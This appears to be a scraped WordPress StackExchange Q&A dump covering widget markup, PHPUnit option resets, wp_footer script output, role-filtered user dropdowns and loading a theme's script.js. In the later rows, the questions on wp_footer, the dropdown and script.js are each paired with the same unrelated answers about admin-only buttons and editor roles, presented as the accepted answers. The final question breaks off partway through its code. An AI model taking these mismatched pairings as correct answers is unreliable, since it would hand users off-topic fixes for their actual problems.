| I have created a sidebar:
```
function my_sidebar() {
register_sidebar(
array(
'name' => 'Blog Sidebar',
'id' => 'blog-sidebar',
'description' => 'Sidebar For Blog Page',
'before_widget' => '<div class="widget">',
'after_widget' => '</div>',
'before_title' => '<h5 class="widget-title">',
'after_title' => '</h5>'
)
);
}
add_action( 'widgets_init', 'my_sidebar');
```
I just added the "recent posts" widget and want to add a class to the `<ul>` tag but I can't seem to figure out how to do it in a simple way. I just want the `<ul>` tag to change to `<ul class="link-list">` | The quickest and practical solution for you would be to add your custom class to the before\_widget wrapper:
```
'before_widget' => '<div class="widget ul-link-list">'
```
Then use CSS rules accordingly:
```
.ul-link-list ul {
/* Some CSS rules */
}
``` |
302,815 | <p><strong>tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?</strong></p>
<p>I'm testing my plugin which provides a function to add and remove some roles all at once. The users of my plugin should only have to run this function once, but they can choose not to run it at all, so I set up two test suites (using WP-CLI's scaffolding) to test the situation both before and after converting roles. Since the role conversion operation makes changes to the database, I separated the tests on the converted roles into their own PHPUnit group, and excluded this group from running by default. To test the role changing function, I therefore have to call PHPUnit with the <code>--group role-permissions</code> flag. I can also run the tests on the default WordPress roles by calling PHPUnit without a group. <strong>I run into a problem when I run the tests one after the other</strong>.</p>
<p>First, if I run the default tests...</p>
<pre><code>$> phpunit
[passes]
</code></pre>
<p>...they initially pass. If I then run the special roles tests...</p>
<pre><code>$> phpunit --group role-permissions
[passes]
</code></pre>
<p>...then they also pass. But if I run the default tests again after this...</p>
<pre><code>$> phpunit
[fails]
</code></pre>
<p>...they no longer pass. I found that this is because the options changed by the <code>role-permissions</code> tests are still present in the test database before the default ones are run again. The only way I can get the default tests to pass again is to regenerate the default WordPress test database.</p>
<p>To convert the roles so I can run the <code>role-permissions</code> tests, I have some code in <code>wpSetUpBeforeClass</code>. This runs only once per PHPUnit execution, before tests are run, so this seems like the right place to put the code. However, clearly the test scaffolding code does not restore the default <code>wptests_options</code> database table after each run.</p>
<p>Is there a way to restore the default options in the database after my special tests have run, or run my <code>role-permissions</code> tests in their own database, or some other way to prevent the failures I get?</p>
<p>For reference, the stripped down versions of the relevant files are shown below:</p>
<p><code>tests/test-default-roles.php</code>:</p>
<pre><code>/**
* // no special group
*/
class OtherTests extends WP_UnitTestCase {
public function test_default_roles() {
// test stuff with the default WordPress roles
}
}
</code></pre>
<p><code>tests/test-new-roles.php</code>:</p>
<pre><code>/**
* @group role-permissions
*/
class RoleTests extends WP_UnitTestCase {
/**
* Convert roles before running any test
* (this changes the wp_settings table)
*/
public static function wpSetUpBeforeClass( $factory ) {
// convert roles
global $my_tool;
$my_tool->convert_roles();
}
public function test_new_roles() {
// test some stuff to do with the converted roles
}
}
</code></pre>
<p><code>phpunit.xml</code></p>
<pre><code>...
<testsuites>
<testsuite>
<directory prefix="test-" suffix=".php">./tests/</directory>
</testsuite>
</testsuites>
<groups>
<exclude>
<!-- exclude role conversion tests from running by default -->
<group>role-permissions</group>
</exclude>
</groups>
...
</code></pre>
| [
{
"answer_id": 302863,
"author": "Sean",
"author_id": 138112,
"author_profile": "https://wordpress.stackexchange.com/users/138112",
"pm_score": 2,
"selected": false,
"text": "<p>After Mark Kaplun's comment, I did a little digging in the WordPress test source code and found the <a href=\"https://github.com/WordPress/wordpress-develop/blob/9e31509293e93383a97ed170039dafa5042ea286/tests/phpunit/includes/functions.php#L55\" rel=\"nofollow noreferrer\"><code>_delete_all_data</code> function</a> which is run after each test:</p>\n\n<pre><code>function _delete_all_data() {\n global $wpdb;\n foreach ( array(\n $wpdb->posts,\n $wpdb->postmeta,\n $wpdb->comments,\n $wpdb->commentmeta,\n $wpdb->term_relationships,\n $wpdb->termmeta,\n ) as $table ) {\n $wpdb->query( \"DELETE FROM {$table}\" );\n }\n foreach ( array(\n $wpdb->terms,\n $wpdb->term_taxonomy,\n ) as $table ) {\n $wpdb->query( \"DELETE FROM {$table} WHERE term_id != 1\" );\n }\n $wpdb->query( \"UPDATE {$wpdb->term_taxonomy} SET count = 0\" );\n $wpdb->query( \"DELETE FROM {$wpdb->users} WHERE ID != 1\" );\n $wpdb->query( \"DELETE FROM {$wpdb->usermeta} WHERE user_id != 1\" );\n}\n</code></pre>\n\n<p>As you can see, this function reverts (technically deletes) only posts, comments, terms and users are deleted. Options and other site configuration stuff are not reverted.</p>\n\n<p>The way I found to fix my problem is to back up the roles option before changing it, and revert it afterwards. This isn't the solution I would have preferred, but it seems to be the best one available. First, I define the class setup and teardown methods that run once before and after all tests are run:</p>\n\n<pre><code>public static function wpSetUpBeforeClass( $factory ) {\n self::convert_roles();\n}\n\npublic static function wpTearDownAfterClass() {\n self::reset_roles();\n}\n</code></pre>\n\n<p>Then I define the functions to create the new roles and to reset them to defaults before. For these, I need some static variables defined in the class.</p>\n\n<pre><code>/**\n * Convert user roles for the tests in this class.\n * \n * This only works when the current blog is the one being tested.\n */\nprivate static function convert_roles() {\n global $wpdb, $my_tool;\n\n // role settings name in options table\n self::$role_key = $wpdb->get_blog_prefix( get_current_blog_id() ) . 'user_roles';\n\n // copy current roles\n self::$default_roles = get_option( self::$role_key );\n\n // convert roles\n $my_tool->convert_roles();\n}\n\n/**\n * Reset changes made to roles\n */\nprivate static function reset_roles() {\n update_option( self::$role_key, self::$default_roles );\n\n // refresh loaded roles\n self::flush_roles();\n}\n\n/**\n * From WordPress core's user/capabilities.php tests\n */\nprivate static function flush_roles() {\n // we want to make sure we're testing against the db, not just in-memory data\n // this will flush everything and reload it from the db\n unset( $GLOBALS['wp_user_roles'] );\n global $wp_roles;\n $wp_roles = new WP_Roles();\n}\n</code></pre>\n\n<p>The static variables in the class can be defined as follows:</p>\n\n<pre><code>protected static $role_key;\nprotected static $default_roles;\n</code></pre>\n\n<p>Now my tests pass no matter what order they are called.</p>\n"
},
{
"answer_id": 302897,
"author": "J.D.",
"author_id": 27757,
"author_profile": "https://wordpress.stackexchange.com/users/27757",
"pm_score": 3,
"selected": true,
"text": "<blockquote>\n <p>tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?</p>\n</blockquote>\n\n<p>Yes, and no.</p>\n\n<p>No, you cannot use the code you currently have and expect this result. The test suite does use transactions and automatically roll back the database after each test. But you are making your changes in <code>wpSetUpBeforeClass()</code>, which runs before the transaction begins. Anything you do in <code>wpSetUpBeforeClass()</code> you have to clean up yourself in <code>wpTearDownAfterClass()</code>. This is by design.</p>\n\n<p>However, you don't have to use <code>wpSetUpBeforeClass()</code>. You could just place your code in <code>setUp()</code> instead. By calling <code>parent::setUp()</code> before making your changes, the database transaction will already have started and so your changes will be rolled back automatically after each test is complete.</p>\n"
}
]
| 2018/05/06 | [
"https://wordpress.stackexchange.com/questions/302815",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/138112/"
]
| **tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?**
I'm testing my plugin which provides a function to add and remove some roles all at once. The users of my plugin should only have to run this function once, but they can choose not to run it at all, so I set up two test suites (using WP-CLI's scaffolding) to test the situation both before and after converting roles. Since the role conversion operation makes changes to the database, I separated the tests on the converted roles into their own PHPUnit group, and excluded this group from running by default. To test the role changing function, I therefore have to call PHPUnit with the `--group role-permissions` flag. I can also run the tests on the default WordPress roles by calling PHPUnit without a group. **I run into a problem when I run the tests one after the other**.
First, if I run the default tests...
```
$> phpunit
[passes]
```
...they initially pass. If I then run the special roles tests...
```
$> phpunit --group role-permissions
[passes]
```
...then they also pass. But if I run the default tests again after this...
```
$> phpunit
[fails]
```
...they no longer pass. I found that this is because the options changed by the `role-permissions` tests are still present in the test database before the default ones are run again. The only way I can get the default tests to pass again is to regenerate the default WordPress test database.
To convert the roles so I can run the `role-permissions` tests, I have some code in `wpSetUpBeforeClass`. This runs only once per PHPUnit execution, before tests are run, so this seems like the right place to put the code. However, clearly the test scaffolding code does not restore the default `wptests_options` database table after each run.
Is there a way to restore the default options in the database after my special tests have run, or run my `role-permissions` tests in their own database, or some other way to prevent the failures I get?
For reference, the stripped down versions of the relevant files are shown below:
`tests/test-default-roles.php`:
```
/**
* // no special group
*/
class OtherTests extends WP_UnitTestCase {
public function test_default_roles() {
// test stuff with the default WordPress roles
}
}
```
`tests/test-new-roles.php`:
```
/**
* @group role-permissions
*/
class RoleTests extends WP_UnitTestCase {
/**
* Convert roles before running any test
* (this changes the wp_settings table)
*/
public static function wpSetUpBeforeClass( $factory ) {
// convert roles
global $my_tool;
$my_tool->convert_roles();
}
public function test_new_roles() {
// test some stuff to do with the converted roles
}
}
```
`phpunit.xml`
```
...
<testsuites>
<testsuite>
<directory prefix="test-" suffix=".php">./tests/</directory>
</testsuite>
</testsuites>
<groups>
<exclude>
<!-- exclude role conversion tests from running by default -->
<group>role-permissions</group>
</exclude>
</groups>
...
``` | >
> tl;dr: is there a way to make changes to WordPress options during a PHPUnit test suite execution, and have the changes reverted to the WordPress defaults before the next test suite is executed, without writing a custom teardown function?
>
>
>
Yes, and no.
No, you cannot use the code you currently have and expect this result. The test suite does use transactions and automatically roll back the database after each test. But you are making your changes in `wpSetUpBeforeClass()`, which runs before the transaction begins. Anything you do in `wpSetUpBeforeClass()` you have to clean up yourself in `wpTearDownAfterClass()`. This is by design.
However, you don't have to use `wpSetUpBeforeClass()`. You could just place your code in `setUp()` instead. By calling `parent::setUp()` before making your changes, the database transaction will already have started and so your changes will be rolled back automatically after each test is complete. |
302,876 | <p>I need to display a script just after all my js files loaded via <code>wp_enqueue_script</code></p>
<p>In my functions.php :</p>
<pre><code>function list_hotels($hotels){ ?>
<script>
var positions = [];
positions = <?php echo json_encode($hotels); ?>
</script>
<?php
}
add_action('wp_footer', 'list_hotels', 50, 1);
</code></pre>
<p>In my template (there is an available <code>$hotels</code> var which is an array) : </p>
<pre><code>do_action( 'wp_footer', $hotels );
</code></pre>
<p>What's wrong with my code?</p>
| [
{
"answer_id": 302853,
"author": "Justin Breen",
"author_id": 131617,
"author_profile": "https://wordpress.stackexchange.com/users/131617",
"pm_score": -1,
"selected": false,
"text": "<p>Try wrapping the button in a PHP <code>if</code> statement that checks if the current user has administrator privelages, like this: </p>\n\n<pre><code><?php if ( current_user_can( 'administrator' ) ) : ?>\n\n <a href=\"#\">Your Button</a>\n\n<?php endif; ?>\n</code></pre>\n\n<p>This <a href=\"https://codex.wordpress.org/Function_Reference/current_user_can\" rel=\"nofollow noreferrer\">Wordpress Codex link</a> explains how to check for administrator privileges.</p>\n\n<p>Also, for a 1-liner this is the same thing:</p>\n\n<p><code><?php if ( current_user_can( 'administrator' ) ) { echo '<a href=\"#\">Button</a>'; } ?></code></p>\n\n<p><strong>DO NOT USE</strong> <code>is_admin()</code> for this <a href=\"https://codex.wordpress.org/Function_Reference/is_admin\" rel=\"nofollow noreferrer\">as stated here</a>. That function checks if you're in the dashboard, <strong>not</strong> for the privelages you are looking for.</p>\n"
},
{
"answer_id": 302854,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 1,
"selected": false,
"text": "<p>You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissions (or ask a more specific and detailed question ;) )</p>\n"
}
]
| 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302876",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73871/"
]
| I need to display a script just after all my js files loaded via `wp_enqueue_script`
In my functions.php :
```
function list_hotels($hotels){ ?>
<script>
var positions = [];
positions = <?php echo json_encode($hotels); ?>
</script>
<?php
}
add_action('wp_footer', 'list_hotels', 50, 1);
```
In my template (there is an available `$hotels` var which is an array) :
```
do_action( 'wp_footer', $hotels );
```
What's wrong with my code? | You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissions (or ask a more specific and detailed question ;) ) |
302,900 | <p>I have a dropdown where the user can select if he will checkout for him or for his customer. When registered, he gets two roles : Partner,[his_company].</p>
<p>So i want to display a dropdown with customers who have his role [his_company] but my code is not working.</p>
<pre><code><?php
$billing_company = get_user_meta( $current_user->ID, 'billing_company',
true );
$args = array(
'role' => $billing_company // string|array,
);
wp_dropdown_users($args);
?>
</code></pre>
| [
{
"answer_id": 302853,
"author": "Justin Breen",
"author_id": 131617,
"author_profile": "https://wordpress.stackexchange.com/users/131617",
"pm_score": -1,
"selected": false,
"text": "<p>Try wrapping the button in a PHP <code>if</code> statement that checks if the current user has administrator privelages, like this: </p>\n\n<pre><code><?php if ( current_user_can( 'administrator' ) ) : ?>\n\n <a href=\"#\">Your Button</a>\n\n<?php endif; ?>\n</code></pre>\n\n<p>This <a href=\"https://codex.wordpress.org/Function_Reference/current_user_can\" rel=\"nofollow noreferrer\">Wordpress Codex link</a> explains how to check for administrator privileges.</p>\n\n<p>Also, for a 1-liner this is the same thing:</p>\n\n<p><code><?php if ( current_user_can( 'administrator' ) ) { echo '<a href=\"#\">Button</a>'; } ?></code></p>\n\n<p><strong>DO NOT USE</strong> <code>is_admin()</code> for this <a href=\"https://codex.wordpress.org/Function_Reference/is_admin\" rel=\"nofollow noreferrer\">as stated here</a>. That function checks if you're in the dashboard, <strong>not</strong> for the privelages you are looking for.</p>\n"
},
{
"answer_id": 302854,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 1,
"selected": false,
"text": "<p>You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissions (or ask a more specific and detailed question ;) )</p>\n"
}
]
| 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302900",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140196/"
]
| I have a dropdown where the user can select if he will checkout for him or for his customer. When registered, he gets two roles : Partner,[his\_company].
So i want to display a dropdown with customers who have his role [his\_company] but my code is not working.
```
<?php
$billing_company = get_user_meta( $current_user->ID, 'billing_company',
true );
$args = array(
'role' => $billing_company // string|array,
);
wp_dropdown_users($args);
?>
``` | You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissions (or ask a more specific and detailed question ;) ) |
302,907 | <p>i have script.js file for html to wordpress conversion. In html it works, but in wordpress it does not work. This file contains slider, menus etc, I enable to convert html to wordpress without this file, the file has following contents</p>
<pre><code>function include(scriptUrl) {
document.write('<script src="' + scriptUrl + '"></script>');
}
function isIE() {
var myNav = navigator.userAgent.toLowerCase();
return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false;
};
/* cookie.JS
========================================================*/
include('js/jquery.cookie.js');
/* Easing library
========================================================*/
include('js/jquery.easing.1.3.js');
/* Stick up menus
========================================================*/
;
(function ($) {
var o = $('html');
if (o.hasClass('desktop')) {
include('js/tmstickup.js');
$(document).ready(function () {
$('#stuck_container').TMStickUp({})
});
}
})(jQuery);
/* ToTop
========================================================*/
;
(function ($) {
var o = $('html');
if (o.hasClass('desktop')) {
include('js/jquery.ui.totop.js');
$(document).ready(function () {
$().UItoTop({
easingType: 'easeOutQuart',
containerClass: 'toTop fa fa-arrow-up'
});
});
}
})(jQuery);
/* EqualHeights
========================================================*/
;
(function ($) {
var o = $('[data-equal-group]');
if (o.length > 0) {
include('js/jquery.equalheights.js');
}
})(jQuery);
/* SMOOTH SCROLLIG
========================================================*/
;
(function ($) {
var o = $('html');
if (o.hasClass('desktop')) {
include('js/jquery.mousewheel.min.js');
include('js/jquery.simplr.smoothscroll.min.js');
$(document).ready(function () {
$.srSmoothscroll({
step: 150,
speed: 800
});
});
}
})(jQuery);
/* Copyright Year
========================================================*/
;
(function ($) {
var currentYear = (new Date).getFullYear();
$(document).ready(function () {
$("#copyright-year").text((new Date).getFullYear());
});
})(jQuery);
/* Superfish menus
========================================================*/
;
(function ($) {
include('js/superfish.js');
})(jQuery);
/* Navbar
========================================================*/
;
(function ($) {
include('js/jquery.rd-navbar.js');
})(jQuery);
/* Camera
========================================================*/
;(function ($) {
var o = $('#camera');
if (o.length > 0) {
if (!(isIE() && (isIE() > 9))) {
include('js/jquery.mobile.customized.min.js');
}
include('js/camera.js');
$(document).ready(function () {
o.camera({
autoAdvance: true,
height: '25.8536%',
minHeight: '300px',
pagination: true,
thumbnails: false,
playPause: false,
hover: false,
loader: 'none',
navigation: false,
navigationHover: false,
mobileNavHover: false,
fx: 'simpleFade'
})
});
}
})(jQuery);
/* FancyBox
========================================================*/
;(function ($) {
var o = $('.thumb');
if (o.length > 0) {
include('js/jquery.fancybox.js');
include('js/jquery.fancybox-media.js');
include('js/jquery.fancybox-buttons.js');
$(document).ready(function () {
o.fancybox();
});
}
})(jQuery);
/* Parallax
=============================================*/
;(function ($) {
include('js/jquery.rd-parallax.js');
})(jQuery);
/* Google Map
========================================================*/
;
(function ($) {
var o = document.getElementById("google-map");
if (o) {
include('//maps.google.com/maps/api/js?sensor=false');
include('js/jquery.rd-google-map.js');
$(document).ready(function () {
var o = $('#google-map');
if (o.length > 0) {
var styleArray = [
{
"featureType": "administrative.locality",
"elementType": "all",
"stylers": [
{
"hue": "#2c2e33"
},
{
"saturation": 7
},
{
"lightness": 19
},
{
"visibility": "on"
}
]
},
{
"featureType": "landscape",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "poi",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "off"
}
]
},
{
"featureType": "road",
"elementType": "geometry",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "on"
}
]
},
{
"featureType": "road.arterial",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": -2
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road.local",
"elementType": "geometry",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -90
},
{
"lightness": -8
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "transit",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": 10
},
{
"lightness": 69
},
{
"visibility": "on"
}
]
},
{
"featureType": "water",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -78
},
{
"lightness": 67
},
{
"visibility": "simplified"
}
]
}
]
o.googleMap({
styles: styleArray,
});
}
});
}
})
(jQuery);
(function ($) {
var o = document.getElementById("google-map2");
if (o) {
include('//maps.google.com/maps/api/js?sensor=false');
include('js/jquery.rd-google-map.js');
$(document).ready(function () {
var o = $('#google-map2');
if (o.length > 0) {
var styleArray = [
{
"featureType": "administrative.locality",
"elementType": "all",
"stylers": [
{
"hue": "#2c2e33"
},
{
"saturation": 7
},
{
"lightness": 19
},
{
"visibility": "on"
}
]
},
{
"featureType": "landscape",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "poi",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "off"
}
]
},
{
"featureType": "road",
"elementType": "geometry",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "on"
}
]
},
{
"featureType": "road.arterial",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": -2
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road.local",
"elementType": "geometry",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -90
},
{
"lightness": -8
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "transit",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": 10
},
{
"lightness": 69
},
{
"visibility": "on"
}
]
},
{
"featureType": "water",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -78
},
{
"lightness": 67
},
{
"visibility": "simplified"
}
]
}
]
o.googleMap({
styles: styleArray,
});
}
});
}
})
(jQuery);
/* WOW
========================================================*/
;
(function ($) {
var o = $('html');
if ((navigator.userAgent.toLowerCase().indexOf('msie') == -1 ) || (isIE() && isIE() > 9)) {
if (o.hasClass('desktop')) {
include('js/wow.js');
$(document).ready(function () {
new WOW().init();
});
}
}
})(jQuery);
/* Contact Form
========================================================*/
;
(function ($) {
var o = $('#contact-form');
if (o.length > 0) {
include('js/modal.js');
include('js/TMForm.js');
if($('#contact-form .recaptcha').length > 0){
include('../www.google.com/recaptcha/api/js/recaptcha_ajax.js');
}
}
})(jQuery);
/* Search.js
========================================================*/
;
(function ($) {
include('js/TMSearch.js');
})(jQuery);
/* Orientation tablet fix
========================================================*/
$(function () {
// IPad/IPhone
var viewportmeta = document.querySelector && document.querySelector('meta[name="viewport"]'),
ua = navigator.userAgent,
gestureStart = function () {
viewportmeta.content = "width=device-width, minimum-scale=0.25, maximum-scale=1.6, initial-scale=1.0";
},
scaleFix = function () {
if (viewportmeta && /iPhone|iPad/.test(ua) && !/Opera Mini/.test(ua)) {
viewportmeta.content = "width=device-width, minimum-scale=1.0, maximum-scale=1.0";
document.addEventListener("gesturestart", gestureStart, false);
}
};
scaleFix();
// Menu Android
if (window.orientation != undefined) {
var regM = /ipod|ipad|iphone/gi,
result = ua.match(regM);
if (!result) {
$('.sf-menus li').each(function () {
if ($(">ul", this)[0]) {
$(">a", this).toggle(
function () {
return false;
},
function () {
window.location.href = $(this).attr("href");
}
);
}
})
}
}
});
var ua = navigator.userAgent.toLocaleLowerCase(),
regV = /ipod|ipad|iphone/gi,
result = ua.match(regV),
userScale = "";
if (!result) {
userScale = ",user-scalable=0"
}
document.write('<meta name="viewport" content="width=device-width,initial-scale=1.0' + userScale + '">');
</code></pre>
<p>i tried many methods. how should i include this to work in a wordpress in proper way?</p>
| [
{
"answer_id": 302853,
"author": "Justin Breen",
"author_id": 131617,
"author_profile": "https://wordpress.stackexchange.com/users/131617",
"pm_score": -1,
"selected": false,
"text": "<p>Try wrapping the button in a PHP <code>if</code> statement that checks if the current user has administrator privelages, like this: </p>\n\n<pre><code><?php if ( current_user_can( 'administrator' ) ) : ?>\n\n <a href=\"#\">Your Button</a>\n\n<?php endif; ?>\n</code></pre>\n\n<p>This <a href=\"https://codex.wordpress.org/Function_Reference/current_user_can\" rel=\"nofollow noreferrer\">Wordpress Codex link</a> explains how to check for administrator privileges.</p>\n\n<p>Also, for a 1-liner this is the same thing:</p>\n\n<p><code><?php if ( current_user_can( 'administrator' ) ) { echo '<a href=\"#\">Button</a>'; } ?></code></p>\n\n<p><strong>DO NOT USE</strong> <code>is_admin()</code> for this <a href=\"https://codex.wordpress.org/Function_Reference/is_admin\" rel=\"nofollow noreferrer\">as stated here</a>. That function checks if you're in the dashboard, <strong>not</strong> for the privelages you are looking for.</p>\n"
},
{
"answer_id": 302854,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 1,
"selected": false,
"text": "<p>You should not make users editors if you do not want them to be able to edit any content. IIRC an author role is enough to be able to upload images, and that should probably solve your issue. Otherwise if you need something additional to what authors can do, use a plugin that lets you manipulate user and role permissions (or ask a more specific and detailed question ;) )</p>\n"
}
]
| 2018/05/07 | [
"https://wordpress.stackexchange.com/questions/302907",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143154/"
]
| i have script.js file for html to wordpress conversion. In html it works, but in wordpress it does not work. This file contains slider, menus etc, I enable to convert html to wordpress without this file, the file has following contents
```
function include(scriptUrl) {
document.write('<script src="' + scriptUrl + '"></script>');
}
function isIE() {
var myNav = navigator.userAgent.toLowerCase();
return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false;
};
/* cookie.JS
========================================================*/
include('js/jquery.cookie.js');
/* Easing library
========================================================*/
include('js/jquery.easing.1.3.js');
/* Stick up menus
========================================================*/
;
(function ($) {
var o = $('html');
if (o.hasClass('desktop')) {
include('js/tmstickup.js');
$(document).ready(function () {
$('#stuck_container').TMStickUp({})
});
}
})(jQuery);
/* ToTop
========================================================*/
;
(function ($) {
var o = $('html');
if (o.hasClass('desktop')) {
include('js/jquery.ui.totop.js');
$(document).ready(function () {
$().UItoTop({
easingType: 'easeOutQuart',
containerClass: 'toTop fa fa-arrow-up'
});
});
}
})(jQuery);
/* EqualHeights
========================================================*/
;
(function ($) {
var o = $('[data-equal-group]');
if (o.length > 0) {
include('js/jquery.equalheights.js');
}
})(jQuery);
/* SMOOTH SCROLLIG
========================================================*/
;
(function ($) {
var o = $('html');
if (o.hasClass('desktop')) {
include('js/jquery.mousewheel.min.js');
include('js/jquery.simplr.smoothscroll.min.js');
$(document).ready(function () {
$.srSmoothscroll({
step: 150,
speed: 800
});
});
}
})(jQuery);
/* Copyright Year
========================================================*/
;
(function ($) {
var currentYear = (new Date).getFullYear();
$(document).ready(function () {
$("#copyright-year").text((new Date).getFullYear());
});
})(jQuery);
/* Superfish menus
========================================================*/
;
(function ($) {
include('js/superfish.js');
})(jQuery);
/* Navbar
========================================================*/
;
(function ($) {
include('js/jquery.rd-navbar.js');
})(jQuery);
/* Camera
========================================================*/
;(function ($) {
var o = $('#camera');
if (o.length > 0) {
if (!(isIE() && (isIE() > 9))) {
include('js/jquery.mobile.customized.min.js');
}
include('js/camera.js');
$(document).ready(function () {
o.camera({
autoAdvance: true,
height: '25.8536%',
minHeight: '300px',
pagination: true,
thumbnails: false,
playPause: false,
hover: false,
loader: 'none',
navigation: false,
navigationHover: false,
mobileNavHover: false,
fx: 'simpleFade'
})
});
}
})(jQuery);
/* FancyBox
========================================================*/
;(function ($) {
var o = $('.thumb');
if (o.length > 0) {
include('js/jquery.fancybox.js');
include('js/jquery.fancybox-media.js');
include('js/jquery.fancybox-buttons.js');
$(document).ready(function () {
o.fancybox();
});
}
})(jQuery);
/* Parallax
=============================================*/
;(function ($) {
include('js/jquery.rd-parallax.js');
})(jQuery);
/* Google Map
========================================================*/
;
(function ($) {
var o = document.getElementById("google-map");
if (o) {
include('//maps.google.com/maps/api/js?sensor=false');
include('js/jquery.rd-google-map.js');
$(document).ready(function () {
var o = $('#google-map');
if (o.length > 0) {
var styleArray = [
{
"featureType": "administrative.locality",
"elementType": "all",
"stylers": [
{
"hue": "#2c2e33"
},
{
"saturation": 7
},
{
"lightness": 19
},
{
"visibility": "on"
}
]
},
{
"featureType": "landscape",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "poi",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "off"
}
]
},
{
"featureType": "road",
"elementType": "geometry",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": 31
},
{
"visibility": "on"
}
]
},
{
"featureType": "road.arterial",
"elementType": "labels",
"stylers": [
{
"hue": "#bbc0c4"
},
{
"saturation": -93
},
{
"lightness": -2
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "road.local",
"elementType": "geometry",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -90
},
{
"lightness": -8
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "transit",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": 10
},
{
"lightness": 69
},
{
"visibility": "on"
}
]
},
{
"featureType": "water",
"elementType": "all",
"stylers": [
{
"hue": "#e9ebed"
},
{
"saturation": -78
},
{
"lightness": 67
},
{
"visibility": "simplified"
}
]
}
]
o.googleMap({
styles: styleArray,
});
}
});
}
})
(jQuery);
(function ($) {
var o = document.getElementById("google-map2");
if (o) {
include('//maps.google.com/maps/api/js?sensor=false');
include('js/jquery.rd-google-map.js');
$(document).ready(function () {
var o = $('#google-map2');
if (o.length > 0) {
var styleArray = [
{
"featureType": "administrative.locality",
"elementType": "all",
"stylers": [
{
"hue": "#2c2e33"
},
{
"saturation": 7
},
{
"lightness": 19
},
{
"visibility": "on"
}
]
},
{
"featureType": "landscape",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "simplified"
}
]
},
{
"featureType": "poi",
"elementType": "all",
"stylers": [
{
"hue": "#ffffff"
},
{
"saturation": -100
},
{
"lightness": 100
},
{
"visibility": "off"
}
]
},
{
"featureType": "road",
"elementType": "geometry",
"stylers": [
{
